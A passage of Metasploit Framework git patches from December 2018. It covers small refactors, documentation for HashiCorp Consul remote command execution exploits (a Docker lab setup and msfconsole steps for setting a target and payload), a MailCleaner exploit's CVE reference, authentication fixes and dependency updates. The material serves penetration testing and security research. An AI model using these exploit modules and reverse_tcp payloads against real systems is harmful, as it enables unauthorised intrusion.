a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index c1ff1079502a..b2549c94844b 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -59,19 +59,6 @@ def name "Auxiliary" end - # - # Reloads an auxiliary module and executes it - # - def cmd_rerun(*args) - if reload(true) - cmd_run(*args) - end - end - - alias cmd_rerun_tabs cmd_run_tabs - alias cmd_rexploit cmd_rerun - alias cmd_rexploit_tabs cmd_exploit_tabs - # # Tab completion for the run command # @@ -168,6 +155,19 @@ def cmd_run_help alias cmd_exploit_help cmd_run_help + # + # Reloads an auxiliary module and executes it + # + def cmd_rerun(*args) + if reload(true) + cmd_run(*args) + end + end + + alias cmd_rerun_tabs cmd_run_tabs + alias cmd_rexploit cmd_rerun + alias cmd_rexploit_tabs cmd_exploit_tabs + # # Reloads an auxiliary module and checks the target to see if it's # vulnerable. From e10792f4e6032a2e97a1900197e740d7c798e754 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 24 Dec 2018 13:30:03 +0100 Subject: [PATCH 128/220] Remove extra space. --- modules/exploits/multi/misc/consul_service_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index b5a75236545d..5e48776f743d 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -44,7 +44,6 @@ def initialize(info={}) ]) end - def check res = send_request_cgi({ 'method' => 'GET', From 46ee2a6c9484368bee752828b9ba7fd3eb5043bf Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 24 Dec 2018 13:40:12 +0100 Subject: [PATCH 129/220] Add vulnerable version information + new reference regarding this exact vulnerability. --- .../modules/exploit/multi/misc/consul_service_exec.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/documentation/modules/exploit/multi/misc/consul_service_exec.md b/documentation/modules/exploit/multi/misc/consul_service_exec.md index 7e3dec956451..73c0aa5175eb 100644 --- a/documentation/modules/exploit/multi/misc/consul_service_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_service_exec.md @@ -1,5 +1,7 @@ ## Vulnerable Application +[HashiCorp Consul](https://www.consul.io/) with `-enable-script-checks` configuration flag set to true, or running version 0.9.0 or earlier, with Consul API available on an interface that can be accessed over the network. + ### Description This module exploits Hashicorp Consul's Services API to gain remote command execution on a Consul node. @@ -10,6 +12,7 @@ The exposure of the Services API depends on the `enable_script_checks` option. T * Consul Services API - https://www.consul.io/api/agent/service.html * Inspiration from Garfield PoC - https://github.com/torque59/Garfield +* Protecting Consul from RCE Risk in Specific Configurations - [https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations](https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations) ### Test setup From b9d4a469726507df4623cb7f42b939b9d37c237c Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 24 Dec 2018 13:42:25 +0100 Subject: [PATCH 130/220] And the output that corresponds to the new script. --- .../exploit/multi/misc/consul_service_exec.md | 38 +++++-------------- 1 file changed, 10 insertions(+), 28 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/consul_service_exec.md b/documentation/modules/exploit/multi/misc/consul_service_exec.md index 73c0aa5175eb..a6407e457935 100644 --- a/documentation/modules/exploit/multi/misc/consul_service_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_service_exec.md @@ -22,48 +22,30 @@ The following bash script can be used to setup a testing environment with Docker #!/bin/sh echo "[+] Launching consul instances..." -docker run -d --name=consul_bootstrap_server consul agent -server -client=172.17.0.1 -bootstrap -data-dir /tmp/consul +BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:1.0.7 agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul` sleep 2 - -docker run -d --name=consul_server_1 consul agent -server -client=172.17.0.2 -data-dir /tmp/consul -sleep 2 -docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.2 - -docker run -d --name=consul_server_2 consul agent -server -client=172.17.0.3 -data-dir /tmp/consul -sleep 2 -docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.3 - -docker run -d -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true}' consul agent -ui -client=172.17.0.4 -retry-join=172.17.0.1 - -sleep 4 +BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID` +docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:1.0.7 agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP echo "[+] Checking members..." -docker exec -t consul_bootstrap_server consul members -http-addr="172.17.0.1:8500" +docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500" ``` You should observe something similar to the excerpt below when running the script: ``` -sudo ./launch.sh [+] Launching consul instances... -3ca869f66e7dda89f7e239a8d2ae6e477af699a20c90f2d1e2043dc90bdfa78c -fa16999754063a23687809c9dbdbabb5e8d45a54652e6e2023c67fd933d83826 -Successfully joined cluster by contacting 1 nodes. -ecc11744530e63e8d9cb349e98811e2b88d67dd09a81f7a7e8fee129b72d17cf -Successfully joined cluster by contacting 1 nodes. -949d81b0c47b004d456b1db8c5452bbebe08fe99127f0bc365d417a56fada540 +138b09eff12867fcc436b8f5d6366c5aebf3be54864789a675e133a865d436bf [+] Checking members... Node Address Status Type Build Protocol DC Segment -3ca869f66e7d 172.17.0.1:8301 alive server 1.0.6 2 dc1 -ecc11744530e 172.17.0.3:8301 alive server 1.0.6 2 dc1 -fa1699975406 172.17.0.2:8301 alive server 1.0.6 2 dc1 -949d81b0c47b 172.17.0.4:8301 alive client 1.0.6 2 dc1 +36e14072dec5 172.17.0.1:8301 alive server 1.0.7 2 dc1 +138b09eff128 172.17.0.2:8301 alive client 1.0.7 2 dc1 ``` -The following bash script can be used to stop and destroy **all your running docker containers** (so be careful if you use docker containers for other things at the same time): +The following bash script can be used to stop and destroy **all your consul containers** (so be careful if you use consul containers for other things at the same time): ``` #!/bin/sh -for h in `sudo docker ps | grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done +for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done ``` ## Verification Steps @@ -73,7 +55,7 @@ You can verify the module against the vulnerable application with those steps: 1. Launch a Consul cluster with the provided bash script 2. Start msfconsole 3. Do: `use exploit/multi/misc/consul_service_exec` - 4. Do: `set RHOST 172.17.0.4` + 4. Do: `set RHOST 172.17.0.2` 5. Do: `set RPORT 8500` 6. Do: `check`. The target should appear vulnerable. 7. Do: `set payload` with the payload of your choosing. From 18c844623a3f844483b973631148cba4dd4be407 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 24 Dec 2018 13:48:07 +0100 Subject: [PATCH 131/220] Remove extra spaces. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index e2ae2c59a196..600687ca218a 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -45,7 +45,6 @@ def initialize(info={}) ]) end - def check uri = target_uri.path res = send_request_cgi({ @@ -72,7 +71,6 @@ def check end end - def execute_command(cmd, opts = {}) uri = target_uri.path From 53a3caba2b64f8cb16b3e230a9f63fe5647edec9 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 24 Dec 2018 13:54:02 +0100 Subject: [PATCH 132/220] List the vulnerable application and versions affected + cleaner cleanup script. --- .../modules/exploit/multi/misc/consul_rexec_exec.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md index 214e48e6b612..9f2807bcc318 100644 --- a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -1,5 +1,7 @@ ## Vulnerable Application +[HashiCorp Consul][https://www.consul.io/] with `disable_remote_exec` configuration flag set to false (default configuration up to version 0.8, opt-in since version 0.9). + ### Description This module exploits a feature of Hashicorp Consul named rexec. @@ -43,11 +45,11 @@ Node Address Status Type Build Protocol DC Segment d28e7cf476ff 172.17.0.2:8301 alive client 1.4.0 2 dc1 ``` -The following bash script can be used to stop and destroy **all your running docker containers** (so be careful if you use docker containers for other things at the same time): +The following bash script can be used to stop and destroy **all your consul containers** (so be careful if you use consul containers for other things at the same time): ``` #!/bin/sh -for h in `sudo docker ps -a| grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done +for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do docker stop $h && docker rm $h; done ``` ## Verification Steps From ee7120d63a6306a39c7c49fc107f77967fe64017 Mon Sep 17 00:00:00 2001 From: L <314497322@qq.com> Date: Tue, 25 Dec 2018 15:00:39 +0800 Subject: [PATCH 133/220] fixed post/multi/manage/shell_to_meterpreter --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 5aab4b2ec994..0ef04e2416d2 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -73,7 +73,7 @@ def run # Handle platform specific variables and settings case session.platform - when 'windows' + when 'windows', 'win' platform = 'windows' payload_name = 'windows/meterpreter/reverse_tcp' lplat = [Msf::Platform::Windows] From fa542b96912454456e6f04416efaef9bfa2430fc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 25 Dec 2018 15:56:25 +0300 Subject: [PATCH 134/220] Adding platform and arch to top level --- modules/exploits/linux/http/mailcleaner_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb index 361cbeab8aa1..ec93ddfcfbf4 100644 --- a/modules/exploits/linux/http/mailcleaner_exec.rb +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -33,7 +33,7 @@ def initialize(info={}) 'WfsDelay' => 5, 'Payload' => 'python/meterpreter/reverse_tcp' }, - 'Platform' => ['unix'], + 'Platform' => ['python', 'unix'], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Targets' => [ From 10be720843d2276be2ef884c4274c72a045321bb Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 25 Dec 2018 19:45:11 -0800 Subject: [PATCH 135/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 53255664823c..d49171639c07 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -148820,7 +148820,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-09-04 16:46:20 +0000", + "mod_time": "2018-12-25 15:00:39 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, "ref_name": "multi/manage/shell_to_meterpreter", From 4e8ad22a7ac185da215f8efbe7d6405f49871943 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Wed, 26 Dec 2018 13:15:36 +0300 Subject: [PATCH 136/220] Adding CVE number --- modules/exploits/linux/http/mailcleaner_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb index ec93ddfcfbf4..884a35693e3c 100644 --- a/modules/exploits/linux/http/mailcleaner_exec.rb +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -25,7 +25,8 @@ def initialize(info={}) ], 'References' => [ - ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'] + ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'], + ['CVE', '2018-20323'] ], 'DefaultOptions' => { From ebc7a3a315fc07521cc5b6458123fe13afb26bc6 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 26 Dec 2018 13:40:44 -0500 Subject: [PATCH 137/220] Replace sysrandom with ruby default securerandom --- Gemfile.lock | 4 +--- LICENSE_GEMS | 1 - lib/msf/core/db_manager/user.rb | 2 +- lib/msf/core/web_services/json_rpc_app.rb | 2 +- lib/msf/core/web_services/metasploit_api_app.rb | 2 +- metasploit-framework.gemspec | 1 - msfdb | 2 +- 7 files changed, 5 insertions(+), 9 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 992ca4121bbc..5caae3f410ba 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -68,7 +68,6 @@ PATH sinatra sqlite3 sshkey - sysrandom thin tzinfo tzinfo-data @@ -342,7 +341,6 @@ GEM sqlite3 (1.3.13) sshkey (1.9.0) swagger-blocks (2.0.2) - sysrandom (1.0.5) thin (1.7.2) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) @@ -384,4 +382,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.16.6 + 1.17.1 diff --git a/LICENSE_GEMS b/LICENSE_GEMS index f656001aa8e0..95747f1040a7 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -121,7 +121,6 @@ sinatra, 1.4.8, MIT sqlite3, 1.3.13, "New BSD" sshkey, 1.9.0, MIT swagger-blocks, 2.0.2, MIT -sysrandom, 1.0.5, ISC thin, 1.7.2, "GPLv2+, Ruby 1.8" thor, 0.20.3, MIT thread_safe, 0.3.6, "Apache 2.0" diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb index 41acc3ef1700..073cbb87bc4d 100644 --- a/lib/msf/core/db_manager/user.rb +++ b/lib/msf/core/db_manager/user.rb @@ -1,5 +1,5 @@ require 'bcrypt' -require 'sysrandom/securerandom' +require 'securerandom' module Msf::DBManager::User diff --git a/lib/msf/core/web_services/json_rpc_app.rb b/lib/msf/core/web_services/json_rpc_app.rb index 7d7b2bf40cac..01031eb5ac2b 100644 --- a/lib/msf/core/web_services/json_rpc_app.rb +++ b/lib/msf/core/web_services/json_rpc_app.rb @@ -1,6 +1,6 @@ +require 'securerandom' require 'sinatra/base' require 'swagger/blocks' -require 'sysrandom/securerandom' require 'warden' require 'msf/core/rpc' require 'msf/core/web_services/authentication' diff --git a/lib/msf/core/web_services/metasploit_api_app.rb b/lib/msf/core/web_services/metasploit_api_app.rb index 8ec679c5b079..ee4400d5a9d7 100644 --- a/lib/msf/core/web_services/metasploit_api_app.rb +++ b/lib/msf/core/web_services/metasploit_api_app.rb @@ -1,6 +1,6 @@ +require 'securerandom' require 'sinatra/base' require 'swagger/blocks' -require 'sysrandom/securerandom' require 'warden' require 'msf/core/web_services/authentication' require 'msf/core/web_services/servlet_helper' diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 875047f62a3d..61ad669e1cad 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -103,7 +103,6 @@ Gem::Specification.new do |spec| # Required for msfdb_ws (Metasploit data base as a webservice) spec.add_runtime_dependency 'thin' spec.add_runtime_dependency 'sinatra' - spec.add_runtime_dependency 'sysrandom' spec.add_runtime_dependency 'warden' # Required for JSON-RPC client spec.add_runtime_dependency 'em-http-request' diff --git a/msfdb b/msfdb index 4e5d48f5faed..d8ee7679520c 100755 --- a/msfdb +++ b/msfdb @@ -8,7 +8,7 @@ require 'open3' require 'optparse' require 'rex/socket' require 'rex/text' -require 'sysrandom/securerandom' +require 'securerandom' require 'uri' require 'yaml' From 34e99c3857f07ff5084a485b5868e30e0dbdfa3a Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 26 Dec 2018 22:45:33 -0500 Subject: [PATCH 138/220] Modify GET error message to match other servlets --- lib/msf/core/web_services/servlet/event_servlet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/web_services/servlet/event_servlet.rb b/lib/msf/core/web_services/servlet/event_servlet.rb index 449bdcb8f379..365068ba70c6 100644 --- a/lib/msf/core/web_services/servlet/event_servlet.rb +++ b/lib/msf/core/web_services/servlet/event_servlet.rb @@ -26,7 +26,7 @@ def self.get_event data = data.first if is_single_object?(data, sanitized_params) set_json_data_response(response: data) rescue => e - print_error_and_create_response(error: e, message: 'There was an error getting events:', code: 500) + print_error_and_create_response(error: e, message: 'There was an error retrieving events:', code: 500) end } end From a7e44e39f1f6abbcede0a96dbb4e893bd7400db6 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 27 Dec 2018 10:05:39 -0800 Subject: [PATCH 139/220] Weekly dependency update --- Gemfile.lock | 2 +- LICENSE_GEMS | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5caae3f410ba..67d3f4edadeb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -245,7 +245,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.3.2) rb-readline (0.5.5) - recog (2.1.37) + recog (2.1.40) nokogiri redcarpet (3.4.0) rex-arch (0.1.13) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 95747f1040a7..b7a56d5cdfaf 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -46,7 +46,7 @@ metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.2, "New BSD" metasploit-framework, 5.0.0, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.3.56, "3-clause (or ""modified"") BSD" +metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.2, "New BSD" metasploit_payloads-mettle, 0.5.0, "3-clause (or ""modified"") BSD" method_source, 0.9.2, MIT @@ -81,7 +81,7 @@ rails-html-sanitizer, 1.0.4, MIT railties, 4.2.11, MIT rake, 12.3.2, MIT rb-readline, 0.5.5, BSD -recog, 2.1.37, unknown +recog, 2.1.40, unknown redcarpet, 3.4.0, MIT rex-arch, 0.1.13, "New BSD" rex-bin_tools, 0.1.6, "New BSD" From 8361dab983778d6cc6784277f3aece726e1f8d85 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:57:31 -0500 Subject: [PATCH 140/220] Minor method comment change --- lib/msf/core/db_manager/event.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/event.rb b/lib/msf/core/db_manager/event.rb index f195556749d5..b86609f6f477 100644 --- a/lib/msf/core/db_manager/event.rb +++ b/lib/msf/core/db_manager/event.rb @@ -5,8 +5,10 @@ module Msf::DBManager::Event # Retrieves events that are stored in the database. # - # @param opts [Hash] Hash containing query options. + # @param opts [Hash] Hash containing query key-value pairs based on the event model. # @option opts :id [Integer] A specific event ID. If specified, all other options are ignored. + # + # Additional query options: # @option opts :workspace [String] The workspace from which the data should be gathered from. (Required) # @option opts :order [Symbol|String] The event created_at sort order. # Valid values: :asc, :desc, 'asc' or 'desc'. Default: :desc From 8cfc16ce4e62621b8a0082d72173689db27d263b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 28 Dec 2018 06:50:05 -0800 Subject: [PATCH 141/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 49 +++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index d49171639c07..b15c492d0331 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -69282,6 +69282,55 @@ "notes": { } }, + "exploit_multi/misc/consul_service_exec": { + "name": "Hashicorp Consul Remote Command Execution via Services API", + "full_name": "exploit/multi/misc/consul_service_exec", + "rank": 600, + "disclosure_date": "2018-08-11", + "type": "exploit", + "author": [ + "Bharadwaj Machiraju ", + "Francis Alexander ", + "Quentin Kaiser " + ], + "description": "This module exploits Hashicorp Consul's services API to gain remote command\n execution on Consul nodes.", + "references": [ + "URL-https://www.consul.io/api/agent/service.html", + "URL-https://github.com/torque59/Garfield" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "", + "rport": 8500, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux" + ], + "mod_time": "2018-12-24 13:30:03 +0000", + "path": "/modules/exploits/multi/misc/consul_service_exec.rb", + "is_install_path": true, + "ref_name": "multi/misc/consul_service_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "exploit_multi/misc/erlang_cookie_rce": { "name": "Erlang Port Mapper Daemon Cookie RCE", "full_name": "exploit/multi/misc/erlang_cookie_rce", From b1ad271cb815c3b793c455879ae49dc61224e342 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Fri, 28 Dec 2018 09:12:31 -0600 Subject: [PATCH 142/220] fixed link --- documentation/modules/exploit/multi/misc/consul_rexec_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md index 9f2807bcc318..d3c8eba60f77 100644 --- a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -1,6 +1,6 @@ ## Vulnerable Application -[HashiCorp Consul][https://www.consul.io/] with `disable_remote_exec` configuration flag set to false (default configuration up to version 0.8, opt-in since version 0.9). +[HashiCorp Consul](https://www.consul.io/) with `disable_remote_exec` configuration flag set to false (default configuration up to version 0.8, opt-in since version 0.9). ### Description From 2418dcf6aa64d5c11088696962160aea5832952f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 28 Dec 2018 07:22:50 -0800 Subject: [PATCH 143/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 50 +++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index b15c492d0331..7376b99f2e5d 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -69282,6 +69282,56 @@ "notes": { } }, + "exploit_multi/misc/consul_rexec_exec": { + "name": "Hashicorp Consul Remote Command Execution via Rexec", + "full_name": "exploit/multi/misc/consul_rexec_exec", + "rank": 600, + "disclosure_date": "2018-08-11", + "type": "exploit", + "author": [ + "Bharadwaj Machiraju ", + "Francis Alexander ", + "Quentin Kaiser " + ], + "description": "This module exploits a feature of Hashicorp Consul named rexec.", + "references": [ + "URL-https://www.consul.io/docs/agent/options.html#disable_remote_exec", + "URL-https://www.consul.io/docs/commands/exec.html", + "URL-https://github.com/torque59/Garfield" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "", + "rport": 8500, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux" + ], + "mod_time": "2018-12-24 13:48:07 +0000", + "path": "/modules/exploits/multi/misc/consul_rexec_exec.rb", + "is_install_path": true, + "ref_name": "multi/misc/consul_rexec_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "exploit_multi/misc/consul_service_exec": { "name": "Hashicorp Consul Remote Command Execution via Services API", "full_name": "exploit/multi/misc/consul_service_exec", From 12f4222b2e973a9a68588b4a78b241d3124074d6 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 28 Dec 2018 16:29:33 -0500 Subject: [PATCH 144/220] Fix to ensure authentication --- lib/msf/core/web_services/servlet/login_servlet.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/web_services/servlet/login_servlet.rb b/lib/msf/core/web_services/servlet/login_servlet.rb index 1a84015c215b..1552919abe98 100644 --- a/lib/msf/core/web_services/servlet/login_servlet.rb +++ b/lib/msf/core/web_services/servlet/login_servlet.rb @@ -21,6 +21,7 @@ def self.registered(app) def self.get_logins lambda { + warden.authenticate! begin sanitized_params = sanitize_params(params, env['rack.request.query_hash']) data = get_db.logins(sanitized_params) @@ -34,6 +35,7 @@ def self.get_logins def self.create_login lambda { + warden.authenticate! begin opts = parse_json_request(request, false) opts[:core][:workspace] = get_db.workspaces(id: opts[:workspace_id]).first @@ -48,6 +50,7 @@ def self.create_login def self.update_login lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -62,6 +65,7 @@ def self.update_login def self.delete_logins lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_logins(opts) From 66d0ffd602d561ca823c4bdeb2d642a3104fd18c Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 28 Dec 2018 16:30:23 -0500 Subject: [PATCH 145/220] Correct documentation error --- documentation/api/v1/login_api_doc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/api/v1/login_api_doc.rb b/documentation/api/v1/login_api_doc.rb index b100e6238332..b28bf6ffffe7 100644 --- a/documentation/api/v1/login_api_doc.rb +++ b/documentation/api/v1/login_api_doc.rb @@ -153,7 +153,7 @@ module LoginApiDoc end swagger_path '/api/v1/logins/{id}' do - # Swagger documentation for api/v1/logins/:id GET + # Swagger documentation for /api/v1/logins/:id GET operation :get do key :description, 'Return specific login that is stored in the database.' key :tags, [ 'login' ] From f81c11bbe5c840f930010c7e1620bc30d9639cb5 Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 28 Dec 2018 15:44:42 -0600 Subject: [PATCH 146/220] Update gemspec to mettle 0.5.1 --- metasploit-framework.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 61ad669e1cad..8dd0a3c5c8aa 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # Needed for Meterpreter spec.add_runtime_dependency 'metasploit-payloads', '1.3.58' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.0' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.1' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From c6e83d109d879ac44140ec4219417b7f98d812cb Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 28 Dec 2018 15:45:33 -0600 Subject: [PATCH 147/220] Update Gemfile.lock with mettle 0.5.1 --- Gemfile.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 67d3f4edadeb..706d108e4442 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -23,7 +23,7 @@ PATH metasploit-model metasploit-payloads (= 1.3.58) metasploit_data_models - metasploit_payloads-mettle (= 0.5.0) + metasploit_payloads-mettle (= 0.5.1) mqtt msgpack nessus_rest @@ -188,7 +188,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.5.0) + metasploit_payloads-mettle (0.5.1) method_source (0.9.2) mini_portile2 (2.4.0) minitest (5.11.3) From 9e109c7e7c67db9ec8e6e6b2c24afcccf568034c Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 28 Dec 2018 16:08:15 -0600 Subject: [PATCH 148/220] Update cache size --- .../payloads/singles/linux/aarch64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/linux/aarch64/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb | 2 +- .../payloads/singles/linux/armle/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/linux/armle/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index bfdcc14f6ae2..95b3458fccba 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 1021984 + CachedSize = 1022000 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index ba9e9d81875e..7b04e6b75b62 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 1021984 + CachedSize = 1022000 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git 